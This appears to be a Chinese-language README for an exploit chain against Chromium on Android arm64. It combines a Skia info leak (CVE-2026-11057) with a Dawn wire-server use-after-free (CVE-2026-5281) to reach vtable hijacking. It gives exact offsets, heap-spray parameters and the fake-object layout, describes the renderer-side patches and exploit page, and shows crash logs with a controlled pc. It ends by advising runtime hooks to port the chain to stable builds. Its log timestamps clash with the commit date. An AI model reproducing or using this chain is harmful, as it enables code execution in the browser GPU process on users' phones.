Android Chromium 全链路漏洞利用，结合 CVE-2026-11057 信息泄露与 CVE-2026-5281 释放后使用（use-after-free），实现 vtable 劫持与任意代码执行。
Pixel 7 Android 16 ARM64
commit 994c846bbd7a35241ba7c08158c13d66412a6993 (HEAD -> 146.0.7680.111, tag: 146.0.7680.111)
Author: Roger McFarlane <[email protected]>
Date: Mon Mar 9 12:48:07 2026 -0700
本仓库将 CVE-2026-11057（Skia 未初始化字形图像内存）与 CVE-2026-5281（Dawn wire server DeviceInfo 释放后使用）组合成一条完整链路。所有修改均在渲染器侧；GPU 进程代码保持不变：
信息泄露（CVE-2026-11057） — 通过 canvas 文本渲染触发未初始化的字形图像缓冲区，从 GPU 进程堆中读回指针，通过算术运行验证它们，推导出 PartitionAlloc 池基址，并计算伪造 Server 目标 M = POOL + 0x202A08000（校准偏移）。
CC 喷射 — createBuffer(label="CCM:<m>:<n>") 触发注入 3000 个不完整的 ChunkedCommand（10KB 桶，remainingSize=1，在 wire server 的 mChunkedCommands 中保持存活）。载荷填充 M 周围区域，为 Android arm64 布局伪造 Server：MutexProtected vptr 位于 +0xB20，ChunkedCommandSerializer 位于 +0xB50/+0xB58，伪造的 CommandSerializer/vtable 位于 +0xC00/+0xD00。
5281 触发 + 占用 — queue.writeBuffer(buffer, 0x414141, ...) 首先调用 Unregister(Device) 释放 16 字节的 DeviceInfo，然后注入一个 16 字节的占用 ChunkedCommand 来回收该槽位并将 info->server 覆盖为 M，最后通过越界偏移触发验证错误。
悬空回调 → vtable 劫持 — 未捕获错误回调解引用 info->server = M（伪造 Server）：零化的互斥锁通过检查，执行到达 OnUncapturedError → SerializeCommand，相对 vtable 间接调用命中我们的伪造 vtable，得到 pc = fake_vtable + 受控 int32 偏移，以 pc = 0x7641414141 演示。
注意：Android arm64 Chromium 使用相对 vtable（
-fexperimental-relative-c++-abi-vtables）；vtable 条目是 32 位相对偏移而非绝对函数指针，因此 PoC 在 vtable 劫持点使用受控的 int32 偏移作为标记。
在测试设备上，完整链路以接近 100% 的成功率到达 vtable 劫持崩溃；泄露阶段偶尔可能需要多次自动重新加载才能成功。
SkStrike.cpp.patch — CVE-2026-11057 泄露触发。FlattenGlyphsByType() 重写 strike 载荷，使 GPU 进程创建 fImage == nullptr 的 SkGlyph，最终读取未初始化的图像缓冲区以泄露堆指针。Device.cpp.patch — Dawn wire 客户端 CC 喷射。APICreateBuffer() 解析 CCM: 标签，构建 Android arm64 伪造 Server 载荷，并注入 N 个在 GPU 进程中保持存活的不完整 ChunkedCommand。ApiProcs.cpp.patch — CVE-2026-5281 触发 + 占用。在 QueueWriteBuffer 的魔术偏移 0x414141 处，调用 Unregister(Device) 释放 DeviceInfo，注入 16 字节 ChunkedCommand 回收该槽位并设置 info->server = M，然后通过越界偏移触发悬空回调。exploit.html — 页面编排：泄露原语（groom/draw/readCell/verifyRuns/derivePoolBase）、CC 喷射，以及独立的 触发；失败时清理喷射状态并重新加载，使各阶段互不干扰。此 ExP 仅披露到 vtable 劫持 步骤（受控间接调用目标，pc = base+0x41414141）。从受控跳转往后的步骤以及 RCE 实现均保密，不包含在本仓库中。
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 0
v8_symbol_level = 0
blink_symbol_level = 0
is_component_build = false
proprietary_codecs = true
ffmpeg_branding = "Chrome"
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"
# Disable PartitionAllocEventuallyZeroFreedMemory
disable_fieldtrial_testing_config = true
treat_warnings_as_errors = false
adb logcat | grep DEBUG当前漏洞利用栈：
~$ adb logcat | grep DEBUG
06-11 20:51:46.100 11269 11269 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-11 20:51:46.100 11269 11269 F DEBUG : Build fingerprint: '[REDACTED]'
06-11 20:51:46.100 11269 11269 F DEBUG : Revision: 'MP1.0'
06-11 20:51:46.100 11269 11269 F DEBUG : ABI: 'arm64'
06-11 20:51:46.100 11269 11269 F DEBUG : Timestamp: 2025-06-11 20:51:45.949325765+0800
06-11 20:51:46.100 11269 11269 F DEBUG : Process uptime: 3s
06-11 20:51:46.100 11269 11269 F DEBUG : Cmdline: org.chromium.chrome:privileged_process0
06-11 20:51:46.100 11269 11269 F DEBUG : pid: 11188, tid: 11211, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
06-11 20:51:46.100 11269 11269 F DEBUG : uid: 10309
06-11 20:51:46.100 11269 11269 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-11 20:51:46.100 11269 11269 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0000007641414141
06-11 20:51:46.100 11269 11269 F DEBUG : x0 0000007602a08b20 x1 0000007b272cd808 x2 0000000000000002 x3 00000076000f5c40
06-11 20:51:46.100 11269 11269 F DEBUG : x4 00000000000000b1 x5 000000760148b520 x6 0000000001414d4c x7 0000007e7db19004
06-11 20:51:46.100 11269 11269 F DEBUG : x8 0000007b272cd790 x9 0000007641414141 x10 0000000000000000 x11 0000000000000001
06-11 20:51:46.100 11269 11269 F DEBUG : x12 0000000000000000 x13 0000000000000002 x14 0000007e7d733040 x15 0000000000000000
06-11 20:51:46.100 11269 11269 F DEBUG : x16 0000007b230ada10 x17 0000007e66d55520 x18 0000007b25fd8000 x19 0000007602a08000
06-11 20:51:46.100 11269 11269 F DEBUG : x20 00000000000000b1 x21 00000076000f5c40 x22 0000000000000002 x23 0000007b272cd808
06-11 20:51:46.100 11269 11269 F DEBUG : x24 0000007602a08000 x25 0000007b230e7000 x26 0000007b1897c2c6 x27 0000000000000006
06-11 20:51:46.100 11269 11269 F DEBUG : x28 0000007b22fa7728 x29 0000007b272cd7c0
06-11 20:51:46.100 11269 11269 F DEBUG : lr 0000007b20309184 sp 0000007b272cd770 pc 0000007641414141 pst 0000000060001000
06-11 20:51:46.100 11269 11269 F DEBUG : 36 total frames
06-11 20:51:46.100 11269 11269 F DEBUG : backtrace:
06-11 20:51:46.100 11269 11269 F DEBUG : #00 pc 000000003dd8c141 [anon:partition_alloc]
06-11 20:51:46.100 11269 11269 F DEBUG : #01 pc 00000000084ac180 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #02 pc 00000000084ab1fc /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #03 pc 0000000002a1988c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #04 pc 0000000002a36b4c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #05 pc 00000000029de990 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #06 pc 00000000084ae164 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #07 pc 00000000084956b8 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #08 pc 0000000008dd61f0 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #09 pc 0000000008dd6300 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #10 pc 0000000008dd3dd0 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #11 pc 00000000065fe184 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #12 pc 00000000065fd1dc /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #13 pc 00000000065faf6c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #14 pc 00000000065fac54 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #15 pc 0000000005a63054 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #16 pc 00000000065ff294 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #17 pc 000000000547e288 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #18 pc 00000000058de7ec /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #19 pc 0000000005d66b70 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #20 pc 000000000633da58 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #21 pc 00000000063431e8 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #22 pc 0000000007a2eb60 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #23 pc 0000000007a2e730 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #24 pc 0000000007a2dd14 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #25 pc 0000000007a2da24 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #26 pc 000000000033f500 /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #27 pc 0000000000689588 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #28 pc 00000000002890ec /data/app/.../base.apk (offset 0x1ec6000) (qf1.run+560)
06-11 20:51:46.100 11269 11269 F DEBUG : #29 pc 00000000000a94f0 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
06-11 20:51:46.100 11269 11269 F DEBUG : #30 pc 0000000000328194 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #31 pc 00000000002d9348 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #32 pc 0000000000421028 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #33 pc 0000000000420c74 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #34 pc 0000000000080e6c /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
06-11 20:51:46.100 11269 11269 F DEBUG : #35 pc 00000000000736d0 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)
完整漏洞利用栈（跳转到任意 64 位地址）：
~$ adb logcat | grep DEBUG
06-12 01:02:33.858 17983 17983 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 01:02:33.858 17983 17983 F DEBUG : Build fingerprint: 'google/panther/panther:16/.../release-keys'
06-12 01:02:33.858 17983 17983 F DEBUG : Revision: 'MP1.0'
06-12 01:02:33.858 17983 17983 F DEBUG : ABI: 'arm64'
06-12 01:02:33.858 17983 17983 F DEBUG : Timestamp: 2025-06-12 01:02:33.719427351+0800
06-12 01:02:33.858 17983 17983 F DEBUG : Process uptime: 151s
06-12 01:02:33.858 17983 17983 F DEBUG : Cmdline: org.chromium.chrome:privileged_process2
06-12 01:02:33.858 17983 17983 F DEBUG : pid: 17875, tid: 17891, name: CrGpuMain >>> org.chromium.chrome:privileged_process2 <<<
06-12 01:02:33.858 17983 17983 F DEBUG : uid: 10309
06-12 01:02:33.858 17983 17983 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 01:02:33.858 17983 17983 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
06-12 01:02:33.858 17983 17983 F DEBUG : x0 0000007602a08b68 x1 0000007b272cd808 x2 0000000000000002 x3 00000076000c9f40
06-12 01:02:33.858 17983 17983 F DEBUG : x4 00000000000000b1 x5 0000007600024c40 x6 0000000001414d4c x7 0000007e7db19004
06-12 01:02:33.858 17983 17983 F DEBUG : x8 4141414141414141 x9 0000007b76d934a0 x10 0000000000000000 x11 0000000000000001
06-12 01:02:33.858 17983 17983 F DEBUG : x12 0000000000000000 x13 0000000000000002 x14 0000007e7d733040 x15 0000000000000000
06-12 01:02:33.858 17983 17983 F DEBUG : x16 0000007b24f19ab0 x17 0000007e66d55520 x18 0000007b266dc000 x19 0000007602a08000
06-12 01:02:33.858 17983 17983 F DEBUG : x20 00000000000000b1 x21 00000076000c9f40 x22 0000000000000002 x23 0000007b272cd808
06-12 01:02:33.858 17983 17983 F DEBUG : x24 0000007602a08000 x25 0000007b24f53000 x26 0000007b1a7e82c6 x27 0000000000000006
06-12 01:02:33.858 17983 17983 F DEBUG : x28 0000007b24e137c8 x29 0000007b272cd7c0
06-12 01:02:33.858 17983 17983 F DEBUG : lr 0000007b76d934b0 sp 0000007b272cd770 pc 0041414141414141 pst 0000000060001000
06-12 01:02:33.858 17983 17983 F DEBUG : 3 total frames
06-12 01:02:33.858 17983 17983 F DEBUG : backtrace:
06-12 01:02:33.858 17983 17983 F DEBUG : #00 pc 0041414141414141 <unknown>
06-12 01:02:33.858 17983 17983 F DEBUG : #01 pc 0000000000b0f4ac /.....
06-12 01:02:33.858 17983 17983 F DEBUG : #02 pc 00000000001cdffc [anon:partition_alloc]
在 Chromium 的稳定版本中，直接应用补丁可能不可行或不可取。因此，你可以将补丁逻辑重写为钩子函数，在运行时拦截并修改相关的处理函数。
exploit5281()